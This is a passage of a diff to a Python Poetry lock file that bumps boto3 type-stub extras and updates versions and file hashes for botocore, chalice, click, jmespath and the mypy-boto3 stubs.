(>=1.28.0,<1.29.0)"] +ecr-public = ["mypy-boto3-ecr-public (>=1.28.0,<1.29.0)"] +ecs = ["mypy-boto3-ecs (>=1.28.0,<1.29.0)"] +efs = ["mypy-boto3-efs (>=1.28.0,<1.29.0)"] +eks = ["mypy-boto3-eks (>=1.28.0,<1.29.0)"] +elastic-inference = ["mypy-boto3-elastic-inference (>=1.28.0,<1.29.0)"] +elasticache = ["mypy-boto3-elasticache (>=1.28.0,<1.29.0)"] +elasticbeanstalk = ["mypy-boto3-elasticbeanstalk (>=1.28.0,<1.29.0)"] +elastictranscoder = ["mypy-boto3-elastictranscoder (>=1.28.0,<1.29.0)"] +elb = ["mypy-boto3-elb (>=1.28.0,<1.29.0)"] +elbv2 = ["mypy-boto3-elbv2 (>=1.28.0,<1.29.0)"] +emr = ["mypy-boto3-emr (>=1.28.0,<1.29.0)"] +emr-containers = ["mypy-boto3-emr-containers (>=1.28.0,<1.29.0)"] +emr-serverless = ["mypy-boto3-emr-serverless (>=1.28.0,<1.29.0)"] +entityresolution = ["mypy-boto3-entityresolution (>=1.28.0,<1.29.0)"] +es = ["mypy-boto3-es (>=1.28.0,<1.29.0)"] +essential = ["mypy-boto3-cloudformation (>=1.28.0,<1.29.0)", "mypy-boto3-dynamodb (>=1.28.0,<1.29.0)", "mypy-boto3-ec2 (>=1.28.0,<1.29.0)", "mypy-boto3-lambda (>=1.28.0,<1.29.0)", "mypy-boto3-rds (>=1.28.0,<1.29.0)", "mypy-boto3-s3 (>=1.28.0,<1.29.0)", "mypy-boto3-sqs (>=1.28.0,<1.29.0)"] +events = ["mypy-boto3-events (>=1.28.0,<1.29.0)"] +evidently = ["mypy-boto3-evidently (>=1.28.0,<1.29.0)"] +finspace = ["mypy-boto3-finspace (>=1.28.0,<1.29.0)"] +finspace-data = ["mypy-boto3-finspace-data (>=1.28.0,<1.29.0)"] +firehose = ["mypy-boto3-firehose (>=1.28.0,<1.29.0)"] +fis = ["mypy-boto3-fis (>=1.28.0,<1.29.0)"] +fms = ["mypy-boto3-fms (>=1.28.0,<1.29.0)"] +forecast = ["mypy-boto3-forecast (>=1.28.0,<1.29.0)"] +forecastquery = ["mypy-boto3-forecastquery (>=1.28.0,<1.29.0)"] +frauddetector = ["mypy-boto3-frauddetector (>=1.28.0,<1.29.0)"] +fsx = ["mypy-boto3-fsx (>=1.28.0,<1.29.0)"] +gamelift = ["mypy-boto3-gamelift (>=1.28.0,<1.29.0)"] +gamesparks = ["mypy-boto3-gamesparks (>=1.28.0,<1.29.0)"] +glacier = ["mypy-boto3-glacier (>=1.28.0,<1.29.0)"] +globalaccelerator = ["mypy-boto3-globalaccelerator (>=1.28.0,<1.29.0)"] +glue = ["mypy-boto3-glue (>=1.28.0,<1.29.0)"] +grafana = ["mypy-boto3-grafana (>=1.28.0,<1.29.0)"] +greengrass = ["mypy-boto3-greengrass (>=1.28.0,<1.29.0)"] +greengrassv2 = ["mypy-boto3-greengrassv2 (>=1.28.0,<1.29.0)"] +groundstation = ["mypy-boto3-groundstation (>=1.28.0,<1.29.0)"] +guardduty = ["mypy-boto3-guardduty (>=1.28.0,<1.29.0)"] +health = ["mypy-boto3-health (>=1.28.0,<1.29.0)"] +healthlake = ["mypy-boto3-healthlake (>=1.28.0,<1.29.0)"] +honeycode = ["mypy-boto3-honeycode (>=1.28.0,<1.29.0)"] +iam = ["mypy-boto3-iam (>=1.28.0,<1.29.0)"] +identitystore = ["mypy-boto3-identitystore (>=1.28.0,<1.29.0)"] +imagebuilder = ["mypy-boto3-imagebuilder (>=1.28.0,<1.29.0)"] +importexport = ["mypy-boto3-importexport (>=1.28.0,<1.29.0)"] +inspector = ["mypy-boto3-inspector (>=1.28.0,<1.29.0)"] +inspector2 = ["mypy-boto3-inspector2 (>=1.28.0,<1.29.0)"] +internetmonitor = ["mypy-boto3-internetmonitor (>=1.28.0,<1.29.0)"] +iot = ["mypy-boto3-iot (>=1.28.0,<1.29.0)"] +iot-data = ["mypy-boto3-iot-data (>=1.28.0,<1.29.0)"] +iot-jobs-data = ["mypy-boto3-iot-jobs-data (>=1.28.0,<1.29.0)"] +iot-roborunner = ["mypy-boto3-iot-roborunner (>=1.28.0,<1.29.0)"] +iot1click-devices = ["mypy-boto3-iot1click-devices (>=1.28.0,<1.29.0)"] +iot1click-projects = ["mypy-boto3-iot1click-projects (>=1.28.0,<1.29.0)"] +iotanalytics = ["mypy-boto3-iotanalytics (>=1.28.0,<1.29.0)"] +iotdeviceadvisor = ["mypy-boto3-iotdeviceadvisor (>=1.28.0,<1.29.0)"] +iotevents = ["mypy-boto3-iotevents (>=1.28.0,<1.29.0)"] +iotevents-data = ["mypy-boto3-iotevents-data (>=1.28.0,<1.29.0)"] +iotfleethub = ["mypy-boto3-iotfleethub (>=1.28.0,<1.29.0)"] +iotfleetwise = ["mypy-boto3-iotfleetwise (>=1.28.0,<1.29.0)"] +iotsecuretunneling = ["mypy-boto3-iotsecuretunneling (>=1.28.0,<1.29.0)"] +iotsitewise = ["mypy-boto3-iotsitewise (>=1.28.0,<1.29.0)"] +iotthingsgraph = ["mypy-boto3-iotthingsgraph (>=1.28.0,<1.29.0)"] +iottwinmaker = ["mypy-boto3-iottwinmaker (>=1.28.0,<1.29.0)"] +iotwireless = ["mypy-boto3-iotwireless (>=1.28.0,<1.29.0)"] +ivs = ["mypy-boto3-ivs (>=1.28.0,<1.29.0)"] +ivs-realtime = ["mypy-boto3-ivs-realtime (>=1.28.0,<1.29.0)"] +ivschat = ["mypy-boto3-ivschat (>=1.28.0,<1.29.0)"] +kafka = ["mypy-boto3-kafka (>=1.28.0,<1.29.0)"] +kafkaconnect = ["mypy-boto3-kafkaconnect (>=1.28.0,<1.29.0)"] +kendra = ["mypy-boto3-kendra (>=1.28.0,<1.29.0)"] +kendra-ranking = ["mypy-boto3-kendra-ranking (>=1.28.0,<1.29.0)"] +keyspaces = ["mypy-boto3-keyspaces (>=1.28.0,<1.29.0)"] +kinesis = ["mypy-boto3-kinesis (>=1.28.0,<1.29.0)"] +kinesis-video-archived-media = ["mypy-boto3-kinesis-video-archived-media (>=1.28.0,<1.29.0)"] +kinesis-video-media = ["mypy-boto3-kinesis-video-media (>=1.28.0,<1.29.0)"] +kinesis-video-signaling = ["mypy-boto3-kinesis-video-signaling (>=1.28.0,<1.29.0)"] +kinesis-video-webrtc-storage = ["mypy-boto3-kinesis-video-webrtc-storage (>=1.28.0,<1.29.0)"] +kinesisanalytics = ["mypy-boto3-kinesisanalytics (>=1.28.0,<1.29.0)"] +kinesisanalyticsv2 = ["mypy-boto3-kinesisanalyticsv2 (>=1.28.0,<1.29.0)"] +kinesisvideo = ["mypy-boto3-kinesisvideo (>=1.28.0,<1.29.0)"] +kms = ["mypy-boto3-kms (>=1.28.0,<1.29.0)"] +lakeformation = ["mypy-boto3-lakeformation (>=1.28.0,<1.29.0)"] +lambda = ["mypy-boto3-lambda (>=1.28.0,<1.29.0)"] +lex-models = ["mypy-boto3-lex-models (>=1.28.0,<1.29.0)"] +lex-runtime = ["mypy-boto3-lex-runtime (>=1.28.0,<1.29.0)"] +lexv2-models = ["mypy-boto3-lexv2-models (>=1.28.0,<1.29.0)"] +lexv2-runtime = ["mypy-boto3-lexv2-runtime (>=1.28.0,<1.29.0)"] +license-manager = ["mypy-boto3-license-manager (>=1.28.0,<1.29.0)"] +license-manager-linux-subscriptions = ["mypy-boto3-license-manager-linux-subscriptions (>=1.28.0,<1.29.0)"] +license-manager-user-subscriptions = ["mypy-boto3-license-manager-user-subscriptions (>=1.28.0,<1.29.0)"] +lightsail = ["mypy-boto3-lightsail (>=1.28.0,<1.29.0)"] +location = ["mypy-boto3-location (>=1.28.0,<1.29.0)"] +logs = ["mypy-boto3-logs (>=1.28.0,<1.29.0)"] +lookoutequipment = ["mypy-boto3-lookoutequipment (>=1.28.0,<1.29.0)"] +lookoutmetrics = ["mypy-boto3-lookoutmetrics (>=1.28.0,<1.29.0)"] +lookoutvision = ["mypy-boto3-lookoutvision (>=1.28.0,<1.29.0)"] +m2 = ["mypy-boto3-m2 (>=1.28.0,<1.29.0)"] +machinelearning = ["mypy-boto3-machinelearning (>=1.28.0,<1.29.0)"] +macie = ["mypy-boto3-macie (>=1.28.0,<1.29.0)"] +macie2 = ["mypy-boto3-macie2 (>=1.28.0,<1.29.0)"] +managedblockchain = ["mypy-boto3-managedblockchain (>=1.28.0,<1.29.0)"] +managedblockchain-query = ["mypy-boto3-managedblockchain-query (>=1.28.0,<1.29.0)"] +marketplace-catalog = ["mypy-boto3-marketplace-catalog (>=1.28.0,<1.29.0)"] +marketplace-entitlement = ["mypy-boto3-marketplace-entitlement (>=1.28.0,<1.29.0)"] +marketplacecommerceanalytics = ["mypy-boto3-marketplacecommerceanalytics (>=1.28.0,<1.29.0)"] +mediaconnect = ["mypy-boto3-mediaconnect (>=1.28.0,<1.29.0)"] +mediaconvert = ["mypy-boto3-mediaconvert (>=1.28.0,<1.29.0)"] +medialive = ["mypy-boto3-medialive (>=1.28.0,<1.29.0)"] +mediapackage = ["mypy-boto3-mediapackage (>=1.28.0,<1.29.0)"] +mediapackage-vod = ["mypy-boto3-mediapackage-vod (>=1.28.0,<1.29.0)"] +mediapackagev2 = ["mypy-boto3-mediapackagev2 (>=1.28.0,<1.29.0)"] +mediastore = ["mypy-boto3-mediastore (>=1.28.0,<1.29.0)"] +mediastore-data = ["mypy-boto3-mediastore-data (>=1.28.0,<1.29.0)"] +mediatailor = ["mypy-boto3-mediatailor (>=1.28.0,<1.29.0)"] +medical-imaging = ["mypy-boto3-medical-imaging (>=1.28.0,<1.29.0)"] +memorydb = ["mypy-boto3-memorydb (>=1.28.0,<1.29.0)"] +meteringmarketplace = ["mypy-boto3-meteringmarketplace (>=1.28.0,<1.29.0)"] +mgh = ["mypy-boto3-mgh (>=1.28.0,<1.29.0)"] +mgn = ["mypy-boto3-mgn (>=1.28.0,<1.29.0)"] +migration-hub-refactor-spaces = ["mypy-boto3-migration-hub-refactor-spaces (>=1.28.0,<1.29.0)"] +migrationhub-config = ["mypy-boto3-migrationhub-config (>=1.28.0,<1.29.0)"] +migrationhuborchestrator = ["mypy-boto3-migrationhuborchestrator (>=1.28.0,<1.29.0)"] +migrationhubstrategy = ["mypy-boto3-migrationhubstrategy (>=1.28.0,<1.29.0)"] +mobile = ["mypy-boto3-mobile (>=1.28.0,<1.29.0)"] +mq = ["mypy-boto3-mq (>=1.28.0,<1.29.0)"] +mturk = ["mypy-boto3-mturk (>=1.28.0,<1.29.0)"] +mwaa = ["mypy-boto3-mwaa (>=1.28.0,<1.29.0)"] +neptune = ["mypy-boto3-neptune (>=1.28.0,<1.29.0)"] +neptunedata = ["mypy-boto3-neptunedata (>=1.28.0,<1.29.0)"] +network-firewall = ["mypy-boto3-network-firewall (>=1.28.0,<1.29.0)"] +networkmanager = ["mypy-boto3-networkmanager (>=1.28.0,<1.29.0)"] +nimble = ["mypy-boto3-nimble (>=1.28.0,<1.29.0)"] +oam = ["mypy-boto3-oam (>=1.28.0,<1.29.0)"] +omics = ["mypy-boto3-omics (>=1.28.0,<1.29.0)"] +opensearch = ["mypy-boto3-opensearch (>=1.28.0,<1.29.0)"] +opensearchserverless = ["mypy-boto3-opensearchserverless (>=1.28.0,<1.29.0)"] +opsworks = ["mypy-boto3-opsworks (>=1.28.0,<1.29.0)"] +opsworkscm = ["mypy-boto3-opsworkscm (>=1.28.0,<1.29.0)"] +organizations = ["mypy-boto3-organizations (>=1.28.0,<1.29.0)"] +osis = ["mypy-boto3-osis (>=1.28.0,<1.29.0)"] +outposts = ["mypy-boto3-outposts (>=1.28.0,<1.29.0)"] +panorama = ["mypy-boto3-panorama (>=1.28.0,<1.29.0)"] +payment-cryptography = ["mypy-boto3-payment-cryptography (>=1.28.0,<1.29.0)"] +payment-cryptography-data = ["mypy-boto3-payment-cryptography-data (>=1.28.0,<1.29.0)"] +pca-connector-ad = ["mypy-boto3-pca-connector-ad (>=1.28.0,<1.29.0)"] +personalize = ["mypy-boto3-personalize (>=1.28.0,<1.29.0)"] +personalize-events = ["mypy-boto3-personalize-events (>=1.28.0,<1.29.0)"] +personalize-runtime = ["mypy-boto3-personalize-runtime (>=1.28.0,<1.29.0)"] +pi = ["mypy-boto3-pi (>=1.28.0,<1.29.0)"] +pinpoint = ["mypy-boto3-pinpoint (>=1.28.0,<1.29.0)"] +pinpoint-email = ["mypy-boto3-pinpoint-email (>=1.28.0,<1.29.0)"] +pinpoint-sms-voice = ["mypy-boto3-pinpoint-sms-voice (>=1.28.0,<1.29.0)"] +pinpoint-sms-voice-v2 = ["mypy-boto3-pinpoint-sms-voice-v2 (>=1.28.0,<1.29.0)"] +pipes = ["mypy-boto3-pipes (>=1.28.0,<1.29.0)"] +polly = ["mypy-boto3-polly (>=1.28.0,<1.29.0)"] +pricing = ["mypy-boto3-pricing (>=1.28.0,<1.29.0)"] +privatenetworks = ["mypy-boto3-privatenetworks (>=1.28.0,<1.29.0)"] +proton = ["mypy-boto3-proton (>=1.28.0,<1.29.0)"] +qldb = ["mypy-boto3-qldb (>=1.28.0,<1.29.0)"] +qldb-session = ["mypy-boto3-qldb-session (>=1.28.0,<1.29.0)"] +quicksight = ["mypy-boto3-quicksight (>=1.28.0,<1.29.0)"] +ram = ["mypy-boto3-ram (>=1.28.0,<1.29.0)"] +rbin = ["mypy-boto3-rbin (>=1.28.0,<1.29.0)"] +rds = ["mypy-boto3-rds (>=1.28.0,<1.29.0)"] +rds-data = ["mypy-boto3-rds-data (>=1.28.0,<1.29.0)"] +redshift = ["mypy-boto3-redshift (>=1.28.0,<1.29.0)"] +redshift-data = ["mypy-boto3-redshift-data (>=1.28.0,<1.29.0)"] +redshift-serverless = ["mypy-boto3-redshift-serverless (>=1.28.0,<1.29.0)"] +rekognition = ["mypy-boto3-rekognition (>=1.28.0,<1.29.0)"] +resiliencehub = ["mypy-boto3-resiliencehub (>=1.28.0,<1.29.0)"] +resource-explorer-2 = ["mypy-boto3-resource-explorer-2 (>=1.28.0,<1.29.0)"] +resource-groups = ["mypy-boto3-resource-groups (>=1.28.0,<1.29.0)"] +resourcegroupstaggingapi = ["mypy-boto3-resourcegroupstaggingapi (>=1.28.0,<1.29.0)"] +robomaker = ["mypy-boto3-robomaker (>=1.28.0,<1.29.0)"] +rolesanywhere = ["mypy-boto3-rolesanywhere (>=1.28.0,<1.29.0)"] +route53 = ["mypy-boto3-route53 (>=1.28.0,<1.29.0)"] +route53-recovery-cluster = ["mypy-boto3-route53-recovery-cluster (>=1.28.0,<1.29.0)"] +route53-recovery-control-config = ["mypy-boto3-route53-recovery-control-config (>=1.28.0,<1.29.0)"] +route53-recovery-readiness = ["mypy-boto3-route53-recovery-readiness (>=1.28.0,<1.29.0)"] +route53domains = ["mypy-boto3-route53domains (>=1.28.0,<1.29.0)"] +route53resolver = ["mypy-boto3-route53resolver (>=1.28.0,<1.29.0)"] +rum = ["mypy-boto3-rum (>=1.28.0,<1.29.0)"] +s3 = ["mypy-boto3-s3 (>=1.28.0,<1.29.0)"] +s3control = ["mypy-boto3-s3control (>=1.28.0,<1.29.0)"] +s3outposts = ["mypy-boto3-s3outposts (>=1.28.0,<1.29.0)"] +sagemaker = ["mypy-boto3-sagemaker (>=1.28.0,<1.29.0)"] +sagemaker-a2i-runtime = ["mypy-boto3-sagemaker-a2i-runtime (>=1.28.0,<1.29.0)"] +sagemaker-edge = ["mypy-boto3-sagemaker-edge (>=1.28.0,<1.29.0)"] +sagemaker-featurestore-runtime = ["mypy-boto3-sagemaker-featurestore-runtime (>=1.28.0,<1.29.0)"] +sagemaker-geospatial = ["mypy-boto3-sagemaker-geospatial (>=1.28.0,<1.29.0)"] +sagemaker-metrics = ["mypy-boto3-sagemaker-metrics (>=1.28.0,<1.29.0)"] +sagemaker-runtime = ["mypy-boto3-sagemaker-runtime (>=1.28.0,<1.29.0)"] +savingsplans = ["mypy-boto3-savingsplans (>=1.28.0,<1.29.0)"] +scheduler = ["mypy-boto3-scheduler (>=1.28.0,<1.29.0)"] +schemas = ["mypy-boto3-schemas (>=1.28.0,<1.29.0)"] +sdb = ["mypy-boto3-sdb (>=1.28.0,<1.29.0)"] +secretsmanager = ["mypy-boto3-secretsmanager (>=1.28.0,<1.29.0)"] +securityhub = ["mypy-boto3-securityhub (>=1.28.0,<1.29.0)"] +securitylake = ["mypy-boto3-securitylake (>=1.28.0,<1.29.0)"] +serverlessrepo = ["mypy-boto3-serverlessrepo (>=1.28.0,<1.29.0)"] +service-quotas = ["mypy-boto3-service-quotas (>=1.28.0,<1.29.0)"] +servicecatalog = ["mypy-boto3-servicecatalog (>=1.28.0,<1.29.0)"] +servicecatalog-appregistry = ["mypy-boto3-servicecatalog-appregistry (>=1.28.0,<1.29.0)"] +servicediscovery = ["mypy-boto3-servicediscovery (>=1.28.0,<1.29.0)"] +ses = ["mypy-boto3-ses (>=1.28.0,<1.29.0)"] +sesv2 = ["mypy-boto3-sesv2 (>=1.28.0,<1.29.0)"] +shield = ["mypy-boto3-shield (>=1.28.0,<1.29.0)"] +signer = ["mypy-boto3-signer (>=1.28.0,<1.29.0)"] +simspaceweaver = ["mypy-boto3-simspaceweaver (>=1.28.0,<1.29.0)"] +sms = ["mypy-boto3-sms (>=1.28.0,<1.29.0)"] +sms-voice = ["mypy-boto3-sms-voice (>=1.28.0,<1.29.0)"] +snow-device-management = ["mypy-boto3-snow-device-management (>=1.28.0,<1.29.0)"] +snowball = ["mypy-boto3-snowball (>=1.28.0,<1.29.0)"] +sns = ["mypy-boto3-sns (>=1.28.0,<1.29.0)"] +sqs = ["mypy-boto3-sqs (>=1.28.0,<1.29.0)"] +ssm = ["mypy-boto3-ssm (>=1.28.0,<1.29.0)"] +ssm-contacts = ["mypy-boto3-ssm-contacts (>=1.28.0,<1.29.0)"] +ssm-incidents = ["mypy-boto3-ssm-incidents (>=1.28.0,<1.29.0)"] +ssm-sap = ["mypy-boto3-ssm-sap (>=1.28.0,<1.29.0)"] +sso = ["mypy-boto3-sso (>=1.28.0,<1.29.0)"] +sso-admin = ["mypy-boto3-sso-admin (>=1.28.0,<1.29.0)"] +sso-oidc = ["mypy-boto3-sso-oidc (>=1.28.0,<1.29.0)"] +stepfunctions = ["mypy-boto3-stepfunctions (>=1.28.0,<1.29.0)"] +storagegateway = ["mypy-boto3-storagegateway (>=1.28.0,<1.29.0)"] +sts = ["mypy-boto3-sts (>=1.28.0,<1.29.0)"] +support = ["mypy-boto3-support (>=1.28.0,<1.29.0)"] +support-app = ["mypy-boto3-support-app (>=1.28.0,<1.29.0)"] +swf = ["mypy-boto3-swf (>=1.28.0,<1.29.0)"] +synthetics = ["mypy-boto3-synthetics (>=1.28.0,<1.29.0)"] +textract = ["mypy-boto3-textract (>=1.28.0,<1.29.0)"] +timestream-query = ["mypy-boto3-timestream-query (>=1.28.0,<1.29.0)"] +timestream-write = ["mypy-boto3-timestream-write (>=1.28.0,<1.29.0)"] +tnb = ["mypy-boto3-tnb (>=1.28.0,<1.29.0)"] +transcribe = ["mypy-boto3-transcribe (>=1.28.0,<1.29.0)"] +transfer = ["mypy-boto3-transfer (>=1.28.0,<1.29.0)"] +translate = ["mypy-boto3-translate (>=1.28.0,<1.29.0)"] +verifiedpermissions = ["mypy-boto3-verifiedpermissions (>=1.28.0,<1.29.0)"] +voice-id = ["mypy-boto3-voice-id (>=1.28.0,<1.29.0)"] +vpc-lattice = ["mypy-boto3-vpc-lattice (>=1.28.0,<1.29.0)"] +waf = ["mypy-boto3-waf (>=1.28.0,<1.29.0)"] +waf-regional = ["mypy-boto3-waf-regional (>=1.28.0,<1.29.0)"] +wafv2 = ["mypy-boto3-wafv2 (>=1.28.0,<1.29.0)"] +wellarchitected = ["mypy-boto3-wellarchitected (>=1.28.0,<1.29.0)"] +wisdom = ["mypy-boto3-wisdom (>=1.28.0,<1.29.0)"] +workdocs = ["mypy-boto3-workdocs (>=1.28.0,<1.29.0)"] +worklink = ["mypy-boto3-worklink (>=1.28.0,<1.29.0)"] +workmail = ["mypy-boto3-workmail (>=1.28.0,<1.29.0)"] +workmailmessageflow = ["mypy-boto3-workmailmessageflow (>=1.28.0,<1.29.0)"] +workspaces = ["mypy-boto3-workspaces (>=1.28.0,<1.29.0)"] +workspaces-web = ["mypy-boto3-workspaces-web (>=1.28.0,<1.29.0)"] +xray = ["mypy-boto3-xray (>=1.28.0,<1.29.0)"] [[package]] name = "botocore" -version = "1.31.51" +version = "1.31.53" description = "Low-level, data-driven core of boto 3." optional = false python-versions = ">= 3.7" files = [ - {file = "botocore-1.31.51-py3-none-any.whl", hash = "sha256:91dfb38801d45214875a892bd1e908fc7a894c2ed170bacd67e6929af72f2bd2"}, - {file = "botocore-1.31.51.tar.gz", hash = "sha256:8e133add22f07b55d21e14176b97b82e993d5f9aca70f5b0cd0908cb105ba53a"}, + {file = "botocore-1.31.53-py3-none-any.whl", hash = "sha256:aa647f94039d21de97c969df21ce8c5186b68234eb5c53148f0d8bbd708e375d"}, + {file = "botocore-1.31.53.tar.gz", hash = "sha256:905580ea724d74f11652bab63fcec6bf0d32f1cf8b2963f7388efc0ea406b69b"}, ] [package.dependencies] @@ -436,17 +496,18 @@ crt = ["awscrt (==0.16.26)"] [[package]] name = "botocore-stubs" -version = "1.29.93" +version = "1.31.53" description = "Type annotations and code completion for botocore" optional = false python-versions = ">=3.7,<4.0" files = [ - {file = "botocore_stubs-1.29.93-py3-none-any.whl", hash = "sha256:595d1105bb46d2647e98218f4aa68c504b41c6fed2633f6071debe041e3eed4d"}, - {file = "botocore_stubs-1.29.93.tar.gz", hash = "sha256:b0aeb3676ab6a5fbea23ff4cc0ba2033399dcef69eed762494372c00e2685882"}, + {file = "botocore_stubs-1.31.53-py3-none-any.whl", hash = "sha256:40cab7fdb56d4a33329a1a548f428fd89a2a470e0b6262931ed32b2752e7fb89"}, + {file = "botocore_stubs-1.31.53.tar.gz", hash = "sha256:020ede076d740da52fcc9ead8b0641fb6c5573f1d7c17d61b9d9d144b39905f8"}, ] [package.dependencies] types-awscrt = "*" +typing-extensions = {version = ">=4.1.0", markers = "python_version < \"3.9\""} [[package]] name = "certifi" @@ -537,31 +598,31 @@ pycparser = "*" [[package]] name = "chalice" -version = "1.24.1" +version = "1.29.0" description = "Microframework" optional = false python-versions = "*" files = [ - {file = "chalice-1.24.1-py3-none-any.whl", hash = "sha256:2d0e7f441b4e98c744edbe3ef7a6cd642703257ae6c839198e1160dbc4233709"}, - {file = "chalice-1.24.1.tar.gz", hash = "sha256:cc61396dd0d7ffb5f773e879cce6ed5e5802a7d919c874a61418a1f7a7434eaa"}, + {file = "chalice-1.29.0-py3-none-any.whl", hash = "sha256:0375d93303a04c4885a05a76805370d604786acda59da80f16731312501e0114"}, + {file = "chalice-1.29.0.tar.gz", hash = "sha256:f07aad9a2d4e5b06ef279cf668a48ec455b131168000b91efe7d841425599035"}, ] [package.dependencies] -attrs = ">=19.3.0,<20.4.0" botocore = ">=1.14.0,<2.0.0" -click = ">=7,<8.0" +click = ">=7,<9.0" inquirer = ">=2.7.0,<3.0.0" -jmespath = ">=0.9.3,<1.0.0" -mypy-extensions = "0.4.3" -pip = ">=9,<21.3" -pyyaml = ">=5.3.1,<6.0.0" +jmespath = ">=0.9.3,<2.0.0" +pip = ">=9,<23.2" +pyyaml = ">=5.3.1,<7.0.0" setuptools = "*" six = ">=1.10.0,<2.0.0" +typing-extensions = ">=4.0.0,<5.0.0" wheel = "*" [package.extras] cdk = ["aws-cdk.aws-iam (>=1.85.0,<2.0)", "aws-cdk.aws-s3-assets (>=1.85.0,<2.0)", "aws-cdk.cloudformation-include (>=1.85.0,<2.0)", "aws-cdk.core (>=1.85.0,<2.0)"] -event-file-poller = ["watchdog (==0.9.0)"] +cdkv2 = ["aws-cdk-lib (>2.0,<3.0)"] +event-file-poller = ["watchdog (==2.3.1)"] [[package]] name = "charset-normalizer" @@ -649,15 +710,19 @@ files = [ [[package]] name = "click" -version = "7.1.2" +version = "8.1.7" description = "Composable command line interface toolkit" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +python-versions = ">=3.7" files = [ - {file = "click-7.1.2-py2.py3-none-any.whl", hash = "sha256:dacca89f4bfadd5de3d7489b7c8a566eee0d3676333fbb50030263894c38c0dc"}, - {file = "click-7.1.2.tar.gz", hash = "sha256:d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a"}, + {file = "click-8.1.7-py3-none-any.whl", hash = "sha256:ae74fb96c20a0277a1d615f1e4d73c8414f5a98db8b799a7931d1582f3390c28"}, + {file = "click-8.1.7.tar.gz", hash = "sha256:ca9853ad459e787e2192211578cc907e7594e294c7ccc834310722b41b9ca6de"}, ] +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} +importlib-metadata = {version = "*", markers = "python_version < \"3.8\""} + [[package]] name = "colorama" version = "0.4.4" @@ -897,13 +962,13 @@ ansicon = {version = "*", markers = "platform_system == \"Windows\""} [[package]] name = "jmespath" -version = "0.10.0" +version = "1.0.1" description = "JSON Matching Expressions" optional = false -python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" +python-versions = ">=3.7" files = [ - {file = "jmespath-0.10.0-py2.py3-none-any.whl", hash = "sha256:cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f"}, - {file = "jmespath-0.10.0.tar.gz", hash = "sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9"}, + {file = "jmespath-1.0.1-py3-none-any.whl", hash = "sha256:02e2e4cc71b5bcab88332eebf907519190dd9e6e82107fa7f83b1003a6252980"}, + {file = "jmespath-1.0.1.tar.gz", hash = "sha256:90261b206d6defd58fdd5e85f478bf633a2901798906be2ad389150c5c60edbe"}, ] [[package]] @@ -1155,55 +1220,54 @@ dmypy = ["psutil (>=4.0)"] [[package]] name = "mypy-boto3-iam" -version = "1.21.23" -description = "Type annotations for boto3.IAM 1.21.23 service generated with mypy-boto3-builder 7.4.0" +version = "1.28.37" +description = "Type annotations for boto3.IAM 1.28.37 service generated with mypy-boto3-builder 7.18.2" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "mypy-boto3-iam-1.21.23.tar.gz", hash = "sha256:2d476b992e821ba15361cd539de537ef92896531e803948b6cb328be72bfcc52"}, - {file = "mypy_boto3_iam-1.21.23-py3-none-any.whl", hash = "sha256:c7bb4c68e9327e7bc0130c8d3197620e911748616fbc79be0cd5fb72c21fda10"}, + {file = "mypy-boto3-iam-1.28.37.tar.gz", hash = "sha256:39bd5b8b9a48cb47d909d45c13c713c099c2f84719612a0a848d7a0497c6fcf4"}, + {file = "mypy_boto3_iam-1.28.37-py3-none-any.whl", hash = "sha256:a5ed8c70c610f2ae7ee4a32ecf87c42824bfeb1e8a8c6347d888c73383d2c61f"}, ] [package.dependencies] -typing-extensions = "*" +typing-extensions = {version = ">=4.1.0", markers = "python_version < \"3.12\""} [[package]] name = "mypy-boto3-lambda" -version = "1.21.23" -description = "Type annotations for boto3.Lambda 1.21.23 service generated with mypy-boto3-builder 7.4.0" +version = "1.28.36" +description = "Type annotations for boto3.Lambda 1.28.36 service generated with mypy-boto3-builder 7.18.0" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "mypy-boto3-lambda-1.21.23.tar.gz", hash = "sha256:a49485f380696ff9aa50906413fa39f210a75146b0c6474d03dca54d8b14f54d"}, - {file = "mypy_boto3_lambda-1.21.23-py3-none-any.whl", hash = "sha256:520f5a8115393922610a781aebb73adb7800b948c21abbebea480f4901853ee8"}, + {file = "mypy-boto3-lambda-1.28.36.tar.gz", hash = "sha256:70498e6ff6bfd60b758553d27fadf691ba169572faca01c2bd457da0b48b9cff"}, + {file = "mypy_boto3_lambda-1.28.36-py3-none-any.whl", hash = "sha256:edb1f49279f7713929a70eaab00cf3d4ba65a10016db636805d022b2eaf14c84"}, ] [package.dependencies] -typing-extensions = "*" +typing-extensions = {version = ">=4.1.0", markers = "python_version < \"3.12\""} [[package]] name = "mypy-boto3-s3" -version = "1.21.23" -description = "Type annotations for boto3.S3 1.21.23 service generated with mypy-boto3-builder 7.4.0" +version = "1.28.52" +description = "Type annotations for boto3.S3 1.28.52 service generated with mypy-boto3-builder 7.19.0" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "mypy-boto3-s3-1.21.23.tar.gz", hash = "sha256:8656bdd8b22fcb229e7424abcfa9c8a8c68cbe97b007eedc7c0baa9da80ef9d4"}, - {file = "mypy_boto3_s3-1.21.23-py3-none-any.whl", hash = "sha256:4777518c043f3d214eea2ca2067e1833f3a1647bb0b9bca462219b19fcf93a6b"}, + {file = "mypy-boto3-s3-1.28.52.tar.gz", hash = "sha256:179cb7542cc5ef656f1323ad51eb237afcba77d1e5ed07d21a013fe36effb8b2"}, + {file = "mypy_boto3_s3-1.28.52-py3-none-any.whl", hash = "sha256:a75cd5ff28f1cb5109dd50db94259436701208fa97c61b5a2cc0689e169b7cba"}, ] [package.dependencies] -typing-extensions = "*" +typing-extensions = {version = ">=4.1.0", markers = "python_version < \"3.12\""} [[package]] name = "mypy-extensions" -version = "0.4.3" +version = "0.4.4" description = "Experimental type system extensions for programs checked with the mypy typechecker." optional = false -python-versions = "*" +python-versions = ">=2.7" files = [ - {file = "mypy_extensions-0.4.3-py2.py3-none-any.whl", hash = "sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d"}, - {file = "mypy_extensions-0.4.3.tar.gz", hash = 